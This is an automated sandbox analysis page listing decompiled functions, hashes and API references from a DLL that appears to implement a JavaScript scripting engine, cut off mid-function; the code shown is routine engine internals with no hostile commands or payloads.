Opcode ID: a4e6a669c1561d44dc75dbfff0155d43f98bf870b23b960b532d7385b965840e
Instruction ID: 4222ac1e0588a77c3a2459a81328d3a3b3d711d27acc8aeaeaebfbc21405cfa4
Opcode Fuzzy Hash: a4e6a669c1561d44dc75dbfff0155d43f98bf870b23b960b532d7385b965840e
Instruction Fuzzy Hash: 08519671A002299BDF04EBA5DC99ABEB7B9FF85700F040119F90293290DF755A85CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1002B2F0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 181COMMON

Download Yara Rule

APIs

ladd@DataPool@ScScript@@QAEHABVVariant@ScCore@@@Z.MAIN(?), ref: 1002B3AB
ladd@DataPool@ScScript@@QAEHI@Z.MAIN(00000000,?,00000000), ref: 1002B462

Strings

toLocaleString, xrefs: 1002B37D
r, xrefs: 1002B370

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DataPool@Script@@ladd@$Core@@@Variant@
String ID: r$toLocaleString
API String ID: 1070842481-2635319158
Opcode ID: 3aa0d893171e0403c17edf75cc69b19c2c2dbe908fe4d8675722c2afdfac5f8c
Instruction ID: 166a7d23ad950b8faffe2842fc051a48310c66c06bb88d556f9d4e2076c87911
Opcode Fuzzy Hash: 3aa0d893171e0403c17edf75cc69b19c2c2dbe908fe4d8675722c2afdfac5f8c
Instruction Fuzzy Hash: 5471C171D0011AEFDB04EFA5D898BEDBBB5FF09300F008159E916A7291DB746A48CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000E5E0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 150COMMON

Download Yara Rule

APIs

lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 1000E67E
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 1000E6A8

Strings

referenced by:, xrefs: 1000E738
Address L Refs Prop Class Name, xrefs: 1000E650

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Core@@DataPool@Script@@String@Symbol@lget
String ID: Address L Refs Prop Class Name$ referenced by:
API String ID: 1311809857-2744802727
Opcode ID: 40535da90a66eaf6a58e2f70cf568a03bf0e8e4915a3ad8effd65500e76215ca
Instruction ID: f3180e07017fdfa28ea8a85b6c447d86ff33ebda604560f5ea5f8ccebe213c14
Opcode Fuzzy Hash: 40535da90a66eaf6a58e2f70cf568a03bf0e8e4915a3ad8effd65500e76215ca
Instruction Fuzzy Hash: B8519275904259DFDB04EFA9C894BEEBBB9FF59300F10405DE906A3291DB746A04CF61

Uniqueness

Uniqueness Score: -1.00%

Function 10007C50 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMON

Download Yara Rule

APIs

lgetClassCount@Dispatcher@ScScript@@QBEHXZ.MAIN ref: 10007D0E
lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 10007D29
lgetClassCount@Dispatcher@ScScript@@QBEHXZ.MAIN ref: 10007D9C

Strings

All, xrefs: 10007CB0

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@lget$ClassCount@$Class@Core@@String@
String ID: All
API String ID: 3730738953-55916349
Opcode ID: 6290b209f8a37976847537167747db014cc266de774f4f92879ff85c5caa2f3e
Instruction ID: f42b665165fbb769443d6d91cf2f21d26204316436c34e215bd0d2d1ee44cb66
Opcode Fuzzy Hash: 6290b209f8a37976847537167747db014cc266de774f4f92879ff85c5caa2f3e
Instruction Fuzzy Hash: 67419031D00255DFEB05EF65C894BAEB7B6FF46390F01405AE80AA7360DB78A941CF61

Uniqueness

Uniqueness Score: -1.00%

Function 10025C00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69
threadCOMMON

Download Yara Rule

C-Code - Quality: 21%

			E10025C00(void* _a4) {
				char _v8;
				char _v16;
				char _v20;
				long _v24;
				char _v28;
				signed int _t22;
				signed short* _t29;
				void* _t30;
				void* _t34;
				intOrPtr* _t35;
				signed int _t42;
				void* _t49;
				struct HWND__* _t50;
				signed int _t52;

				_t22 =  *0x10094144; // 0x3a5d9654
				 *[fs:0x0] =  &_v16;
				 *0x1006a248("@id", _t22 ^ _t52, _t49, _t34,  *[fs:0x0], E10062331, 0xffffffff);
				_v8 = 0;
				 *0x1006a898( &_v28,  &_v20);
				_t35 =  *0x1006a184; // 0x86e1c
				_v8 = 2;
				 *_t35();
				_t50 = 0;
				_t29 =  *0x1006a1d8();
				_t42 =  *_t29 & 0x0000ffff;
				if(_t42 == 0) {
					L8:
					_v8 = 0xffffffff;
					_t30 =  *_t35();
					 *[fs:0x0] = _v16;
					return _t30;
				} else {
					while(_t42 >= 0x30 && _t42 <= 0x39) {
						_t29 =  &(_t29[1]);
						_t50 = (_t42 & 0x0000ffff) +  &(_t50[_t50]) * 2 - 0x30;
						_t42 =  *_t29 & 0x0000ffff;
						if(_t42 != 0) {
							continue;
						}
						break;
					}
					if(_t50 != 0) {
						_v24 = 0;
						GetWindowThreadProcessId(_t50,  &_v24);
						if(_v24 != GetCurrentProcessId()) {
							SetForegroundWindow(_t50);
						}
					}
					goto L8;
				}
			}

0x10025c16
0x10025c21
0x10025c2f
0x10025c40
0x10025c47
0x10025c4d
0x10025c56
0x10025c5a
0x10025c5f
0x10025c61
0x10025c67
0x10025c6d
0x10025cb9
0x10025cbc
0x10025cc3
0x10025cc8
0x10025cd5
0x10025c70
0x10025c70
0x10025c82
0x10025c85
0x10025c89
0x10025c8f
0x00000000
0x00000000
0x00000000
0x10025c8f
0x10025c93
0x10025c9a
0x10025ca1
0x10025cb0
0x10025cb3
0x10025cb3
0x10025cb0
0x00000000
0x10025c93

APIs

GetWindowThreadProcessId.USER32 ref: 10025CA1
GetCurrentProcessId.KERNEL32 ref: 10025CA7
SetForegroundWindow.USER32(00000000), ref: 10025CB3

Strings

@id, xrefs: 10025C27

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: ProcessWindow$CurrentForegroundThread
String ID: @id
API String ID: 3477312055-1899700605
Opcode ID: f589ce8c3784c5d4072866996f9e738fb2bb1c53850fb96aeca3635861540114
Instruction ID: 8fbee5b4bc595471c866b6ea5ae36f0bc1ea31c986c87858a755ddaa15aa2874
Opcode Fuzzy Hash: f589ce8c3784c5d4072866996f9e738fb2bb1c53850fb96aeca3635861540114
Instruction Fuzzy Hash: 1421CF3180122ADFDB04EF95C995BFEB7B8FF09765F50011AE903A3290EB751A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 10005DA0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E10005DA0() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(E1005D959);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0x3a5d9654
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x1006c348;
				L10007F30(_t19, "$");
				E100083E0(_t19, 0, 0x1006bd80);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x10005da3
0x10005da5
0x10005db0
0x10005db1
0x10005db3
0x10005dba
0x10005dbe
0x10005dc4
0x10005dc6
0x10005dce
0x10005dda
0x10005de1
0x10005de7
0x10005df5
0x10005dff
0x10005e0b

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,3A5D9654,00000000,00000000,00000000,1005D959,000000FF,?,10012C68), ref: 10005DCE
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(1006ADC4,JavaScript,3A5D9654,00000000,00000000,00000000,1005D959,000000FF), ref: 10005DE7

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,1006BD80,JavaScript,3A5D9654,00000000,00000000,00000000,1005D959,000000FF), ref: 10005DF5

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

JavaScript, xrefs: 10005DC9

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: JavaScript
API String ID: 2248442671-3424359953
Opcode ID: 49cacc7a703ec70d1cd7b707360923a7fb0a08a7860d855b449ff35677cc28b2
Instruction ID: e70b70c5d4278831aa2a2ca7996b13afac68e81d8e30110ca1f1b6e5215ce3fe
Opcode Fuzzy Hash: 49cacc7a703ec70d1cd7b707360923a7fb0a08a7860d855b449ff35677cc28b2
Instruction Fuzzy Hash: F0F0B471A14568EBD714CF48CC01FAAB7E9F704A60F00421BF51597780DBB92A0087D4

Uniqueness

Uniqueness Score: -1.00%

Function 10033950 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E10033950() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t12;
				intOrPtr* _t17;
				signed int _t19;

				_push(0xffffffff);
				_push(0x10063f3c);
				_push( *[fs:0x0]);
				_push(_t12);
				_t6 =  *0x10094144; // 0x3a5d9654
				_push(_t6 ^ _t19);
				 *[fs:0x0] =  &_v16;
				_t17 = _t12;
				_v20 = _t17;
				E10007260(_t12, "JavaScript");
				_v8 = 0;
				 *_t17 = 0x1006fbbc;
				E10008420(_t17, 0, 0x1006fb40, "Error");
				 *[fs:0x0] = _v16;
				return _t17;
			}

0x10033953
0x10033955
0x10033960
0x10033961
0x10033963
0x1003396a
0x1003396e
0x10033974
0x10033976
0x1003397e
0x10033991
0x10033998
0x1003399e
0x100339a8
0x100339b4

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,3A5D9654,00087144,00000000,00000000,10063F3C,000000FF,?,10032F93), ref: 1003397E
lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@PBD@Z.MAIN(00000000,1006FB40,Error,JavaScript,3A5D9654,00087144,00000000,00000000,10063F3C,000000FF), ref: 1003399E

Part of subcall function 10008420: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000,?,?,1005DEEB,000000FF,?,10001542,00000000,?,?), ref: 10008464

Strings

JavaScript, xrefs: 10033979
Error, xrefs: 10033983

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Entry@2@PropProperties@lregister$Core@@@String@
String ID: Error$JavaScript
API String ID: 2216434953-3848367710
Opcode ID: a89e4b7e21678254c6be4f7aa7ad9dba5d04f37bfc9fc0acadc808d1d73acfca
Instruction ID: 2465fccf3afd1fa124609066950fe2cac2b91812ed355e4a155ff319cda1f14e
Opcode Fuzzy Hash: a89e4b7e21678254c6be4f7aa7ad9dba5d04f37bfc9fc0acadc808d1d73acfca
Instruction Fuzzy Hash: 2BF0E271A081A8ABD310CF48CC01FAAB7E8F708A20F00025FF41493780DBB5690087D4

Uniqueness

Uniqueness Score: -1.00%

Function 10012350 Relevance: 6.3, APIs: 4, Instructions: 265
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E10012350(void* __ecx, void* __edx, char _a4, signed int _a8) {
				char _v8;
				char _v16;
				intOrPtr* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr* _v32;
				char _v56;
				void* __edi;
				void* __esi;
				signed int _t100;
				intOrPtr _t111;
				void* _t130;
				void* _t137;
				void* _t140;
				void* _t141;
				signed int _t142;
				void* _t143;
				intOrPtr _t147;
				void* _t151;
				void* _t155;
				signed int _t168;
				void* _t169;
				intOrPtr _t183;
				intOrPtr _t193;
				intOrPtr _t200;
				intOrPtr* _t207;
				intOrPtr* _t221;
				intOrPtr* _t222;
				intOrPtr* _t224;
				void* _t226;
				char* _t227;
				void* _t228;
				signed int _t231;

				_push(0xffffffff);
				_push(0x1005f56e);
				_push( *[fs:0x0]);
				_t100 =  *0x10094144; // 0x3a5d9654
				_push(_t100 ^ _t231);
				 *[fs:0x0] =  &_v16;
				_t155 = __ecx;
				_t219 = _a4;
				_t224 =  *((intOrPtr*)(_a4 + 0x14));
				if(_t224 != 0) {
					 *0x1006a160();
					_v20 = _t224;
					 *0x1006a460();
					 *0x1006a3d4();
					_v8 = 1;
					if(E100121C0(__ecx, _t224) == 0) {
						L45:
						_v8 = 0xffffffff;
						 *0x1006a3d8();
						 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 4))))();
						goto L46;
					}
					_t111 =  *((intOrPtr*)(__ecx + 0x3c));
					if(_t111 == 0x10) {
						goto L45;
					}
					if(_t224 ==  *((intOrPtr*)(__ecx + 0x34))) {
						_t168 = _a8 & 0x00000020;
						if(_t168 != 0 || _t111 == 5) {
							if(_t111 == 1 || _t111 == 2) {
								goto L25;
							} else {
								_t137 =  *0x1006a204();
								if(_t137 != 5) {
									L15:
									 *((intOrPtr*)( *((intOrPtr*)( *_t224 + 0x30))))();
									_t140 =  *0x1006a1d8();
									_t193 =  *0x1009415c; // 0x0
									_t141 = L10003EE0(_t193, _t140);
									_t228 = _t141;
									_t142 =  *0x1006a1d0(0x9c);
									_a8 = _t142;
									_v8 = 6;
									if(_t142 == 0) {
										_t143 = 0;
									} else {
										_t143 = E1000A920(_t142,  *((intOrPtr*)(_a4 + 0x6a)), _t228,  *((intOrPtr*)(_t155 + 0x1c)),  *((intOrPtr*)(_t155 + 0x38)));
									}
									_v8 = 1;
									 *0x1006a174(_t143);
									if( *((intOrPtr*)(_t155 + 0x14)) != 5) {
										_t222 = 0;
									} else {
										_t222 =  *((intOrPtr*)(_t155 + 0xc));
									}
									_t34 = _t222 + 0x22;
									 *_t34 =  *((intOrPtr*)(_t222 + 0x22)) - 1;
									if( *_t34 == 0) {
										 *((intOrPtr*)( *((intOrPtr*)( *_t222 + 0x14))))();
									}
									if( *((intOrPtr*)(_t155 + 0x3c)) == 5) {
										 *(_t155 + 0x24) = 0x2010427;
									}
									goto L45;
								}
								if( *((intOrPtr*)(_t155 + 0x14)) != _t137) {
									_t147 = 0;
								} else {
									_t147 =  *((intOrPtr*)(_t155 + 0xc));
								}
								if( *((intOrPtr*)(_t147 + 0x6e)) == 0x2000008d) {
									goto L45;
								} else {
									goto L15;
								}
							}
						} else {
							L25:
							if( *((intOrPtr*)( *((intOrPtr*)(_t155 + 0x20)) + 0x6e)) != 0x20000097 || _t168 == 0 || _t111 != 1 && _t111 != 2) {
								_t169 = _t155 + 4;
								if( *((intOrPtr*)(_t155 + 0x14)) != 5) {
									_t221 = 0;
								} else {
									_t221 =  *((intOrPtr*)(_t169 + 8));
								}
								_v32 = _t221;
								if(_t221 != 0) {
									 *((intOrPtr*)(_t221 + 0x22)) =  *((intOrPtr*)(_t221 + 0x22)) + 1;
								}
								_v8 = 2;
								 *0x1006a2c8();
								_v24 =  *((intOrPtr*)(_a4 + 0x6a));
								 *0x1006a230();
								_v8 = 3;
								 *0x1006a41c();
								_v8 = 4;
								if(( *(_t155 + 0x24) & 0x00200000) == 0) {
									_push( &_a8);
									_push( &_v56);
									_t207 =  *((intOrPtr*)( *_t224 + 0x74));
									_push( *((intOrPtr*)(_t155 + 0x38)));
								} else {
									_t207 =  *((intOrPtr*)( *_t224 + 0x94));
									_push( &_a8);
									_push( &_v56);
									_push( *((intOrPtr*)(_t155 + 0x38)));
								}
								_t226 =  *_t207();
								if(_t226 != 2) {
									if(_t226 == 0) {
										goto L40;
									}
									_t183 =  *0x1009415c; // 0x0
									_t130 = E100049E0(_t183, _t207,  &_v28,  *((intOrPtr*)(_t155 + 0x1c)));
									_v8 = 5;
									E10013390(_v24,  &_a8, _t226, _t130);
									_v8 = 4;
									 *0x1006a184();
									goto L42;
								} else {
									 *0x1006a2c8();
									L40:
									_t227 =  &_v56;
									if(L10011730(_t221, _t227,  *((intOrPtr*)(_a4 + 0x6a))) == 0) {
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x6a)))) + 0xe0))))(_t227, 1);
									}
									L42:
									 *0x1006a170( &_v56);
									_v8 = 3;
									 *0x1006a414();
									_v8 = 2;
									 *0x1006a1c8();
									_v8 = 1;
									if(_t221 != 0) {
										_t83 = _t221 + 0x22;
										 *_t83 =  *((intOrPtr*)(_t221 + 0x22)) - 1;
										if( *_t83 == 0) {
											 *((intOrPtr*)( *((intOrPtr*)( *_t221 + 0x14))))();
										}
									}
									goto L45;
								}
							} else {
								 *0x1006a2c8();
								_v8 = 0xffffffff;
								E1000A900();
								goto L46;
							}
						}
					} else {
						E1000FD60( *((intOrPtr*)(_t219 + 0x6a)),  *((intOrPtr*)(__ecx + 0x1c)), 0x37,  *((intOrPtr*)(__ecx + 0x1c)));
						goto L45;
					}
				} else {
					_t200 =  *0x1009415c; // 0x0
					_t151 = E100049E0(_t200, __edx,  &_a4,  *((intOrPtr*)(__ecx + 0x1c)));
					_v8 = 0;
					E100099F0( *((intOrPtr*)(_t219 + 0x6a)), 0x37, _t151, 0xffffffff, 0);
					_v8 = 0xffffffff;
					 *0x1006a184();
					L46:
					 *[fs:0x0] = _v16;
					return _t155 + 4;
				}
			}

0x10012353
0x10012355
0x10012360
0x10012367
0x1001236e
0x10012372
0x10012378
0x1001237a
0x1001237d
0x10012382
0x100123c7
0x100123cf
0x100123d2
0x100123db
0x100123e4
0x100123f2
0x10012629
0x1001262f
0x10012636
0x10012644
0x00000000
0x10012644
0x100123f8
0x100123fe
0x00000000
0x00000000
0x10012407
0x1001241f
0x10012422
0x10012430
0x00000000
0x1001243f
0x10012442
0x1001244b
0x10012466
0x1001246d
0x10012471
0x10012477
0x1001247e
0x10012488
0x1001248a
0x10012493
0x10012496
0x1001249c
0x100124b7
0x1001249e
0x100124b0
0x100124b0
0x100124bd
0x100124c1
0x100124cf
0x100124d6
0x100124d1
0x100124d1
0x100124d1
0x100124d8
0x100124d8
0x100124db
0x100124e4
0x100124e4
0x100124e9
0x100124ef
0x100124ef
0x00000000
0x100124e9
0x10012450
0x10012457
0x10012452
0x10012452
0x10012452
0x10012460
0x00000000
0x00000000
0x00000000
0x00000000
0x10012460
0x100124fb
0x100124fb
0x10012505
0x10012536
0x10012539
0x10012540
0x1001253b
0x1001253b
0x1001253b
0x10012542
0x10012547
0x10012549
0x10012549
0x1001254c
0x10012550
0x1001255c
0x10012562
0x1001256b
0x1001256f
0x1001257c
0x10012580
0x1001259d
0x100125a4
0x100125a5
0x100125a8
0x10012582
0x10012584
0x1001258d
0x10012594
0x10012595
0x10012595
0x100125ad
0x100125b2
0x1001265f
0x00000000
0x00000000
0x1001266d
0x10012673
0x10012681
0x10012685
0x1001268d
0x10012691
0x00000000
0x100125b8
0x100125bb
0x100125c1
0x100125c8
0x100125d5
0x100125ea
0x100125ea
0x100125ec
0x100125f3
0x100125fc
0x10012600
0x10012609
0x1001260d
0x10012613
0x10012619
0x1001261b
0x1001261b
0x1001261e
0x10012627
0x10012627
0x1001261e
0x00000000
0x10012619
0x10012515
0x10012518
0x10012521
0x10012528
0x00000000
0x10012528
0x10012505
0x10012409
0x10012412
0x00000000
0x10012412
0x10012384
0x10012387
0x10012395
0x100123a3
0x100123aa
0x100123b2
0x100123b9
0x10012646
0x1001264c
0x1001265a
0x1001265a

APIs

lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?,3A5D9654), ref: 10012395
lsetError@Engine@ScScript@@UAEXHABVString@ScCore@@H_N@Z.MAIN(00000037,00000000,000000FF,00000000,?,?,3A5D9654), ref: 100123AA
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 10012673

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Core@@Script@@String@$DataPool@Symbol@lget$Engine@Error@lset
String ID:
API String ID: 659111466-0
Opcode ID: 100c08ec81286783082172d7ab2b3b1e65db8297ef21558bfc1e0bd0ec5794e4
Instruction ID: a2657964c9eae376d7bf013c008861cda959d3ee39b29f179296398d7bbed192
Opcode Fuzzy Hash: 100c08ec81286783082172d7ab2b3b1e65db8297ef21558bfc1e0bd0ec5794e4
Instruction Fuzzy Hash: 2CB1CDB1900115DFDB04DF94C8D4AAEB7B6FF89350F218259E8069F291DB70EE91CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1003DC60 Relevance: 6.3, APIs: 4, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E1003DC60(intOrPtr __ecx, void* __fp0) {
				intOrPtr _v8;
				char _v16;
				char _v17;
				intOrPtr _v24;
				signed int _t50;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t59;
				intOrPtr _t60;
				void* _t62;
				void* _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t70;
				intOrPtr _t71;
				intOrPtr _t74;
				void* _t79;
				void* _t82;
				intOrPtr* _t88;
				signed int _t129;
				intOrPtr _t138;
				intOrPtr _t147;
				signed int _t155;
				void* _t165;

				_push(0xffffffff);
				_push(E100655A1);
				_push( *[fs:0x0]);
				_t50 =  *0x10094144; // 0x3a5d9654
				_push(_t50 ^ _t155);
				 *[fs:0x0] =  &_v16;
				_t147 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xf8)) > 0x64 || (L10009E50() & 0xffffff00 |  &_v17 -  *((intOrPtr*)(_t57 + 0x10)) > 0x00000000) == 0) {
					_t53 =  *0x1006a1d0(0x20);
					_v24 = _t53;
					_v8 = 0;
					__eflags = _t53;
					if(_t53 == 0) {
						_t54 = 0;
						__eflags = 0;
					} else {
						_t46 = _t147 + 0x8c; // 0x8c
						_t54 = E10037280(_t46);
					}
					_v8 = 0xffffffff;
					E1003AAC0(_t147, _t129, 0x1b, 0);
					 *[fs:0x0] = _v16;
					return _t54;
				} else {
					_t59 =  *((intOrPtr*)(_t147 + 0x8c));
					_t8 = _t147 + 0x8c; // 0x8c
					_t88 = _t8;
					_t165 = _t59 - 0x60;
					if(_t165 > 0) {
						__eflags = _t59 - 0x40000040;
						if(__eflags > 0) {
							_t60 = _t59 - 0x4000005b;
							__eflags = _t60;
							if(_t60 == 0) {
								 *((intOrPtr*)(_t147 + 0xf8)) =  *((intOrPtr*)(_t147 + 0xf8)) + 1;
								E1003A9F0(_t147, 0);
								_t62 = E1003BE20(_t129);
								_t41 = _t147 + 0xf8;
								 *_t41 =  *((intOrPtr*)(_t147 + 0xf8)) - 1;
								__eflags =  *_t41;
								 *[fs:0x0] = _v16;
								return _t62;
							} else {
								__eflags = _t60 == 0x20;
								if(_t60 == 0x20) {
									 *((intOrPtr*)(_t147 + 0xf8)) =  *((intOrPtr*)(_t147 + 0xf8)) + 1;
									E1003A9F0(_t147, 0);
									_t65 = L1003BF40(_t147, _t129);
									_t36 = _t147 + 0xf8;
									 *_t36 =  *((intOrPtr*)(_t147 + 0xf8)) - 1;
									__eflags =  *_t36;
									 *[fs:0x0] = _v16;
									return _t65;
								} else {
									goto L22;
								}
							}
						} else {
							if(__eflags == 0) {
								goto L19;
							} else {
								__eflags = _t59 - 0x64;
								if(_t59 == 0x64) {
									goto L18;
								} else {
									__eflags = _t59 - 0x40000028;
									if(_t59 != 0x40000028) {
										goto L22;
									} else {
										 *((intOrPtr*)(_t147 + 0xf8)) =  *((intOrPtr*)(_t147 + 0xf8)) + 1;
										E1003A9F0(_t147, 0);
										_t79 = E1003E550(_t147, _t129, __fp0, 0, 0);
										E1003AC80(_t147, 0x40000029, 0);
										_t22 = _t147 + 0xf8;
										 *_t22 =  *((intOrPtr*)(_t147 + 0xf8)) - 1;
										__eflags =  *_t22;
										 *[fs:0x0] = _v16;
										return _t79;
									}
								}
							}
						}
					} else {
						if(_t165 == 0) {
							L18:
							_t74 =  *0x1006a1d0(0x20);
							_v24 = _t74;
							_v8 = 2;
							goto L7;
						} else {
							_t82 = _t59 - 0xc;
							if(_t82 > 0x49) {
								L22:
								_t66 =  *0x1006a1d0(0x20);
								_v24 = _t66;
								_v8 = 3;
								__eflags = _t66;
								if(_t66 == 0) {
									_t67 = 0;
									__eflags = 0;
								} else {
									_t67 = E10037280(_t88);
								}
								__eflags =  *((intOrPtr*)(_t67 + 4));
								_v8 = 0xffffffff;
								_t138 = _t67;
								if( *((intOrPtr*)(_t67 + 4)) == 0) {
									_t70 =  *((intOrPtr*)(_t67 + 0x1c));
									__eflags = _t70 - 6;
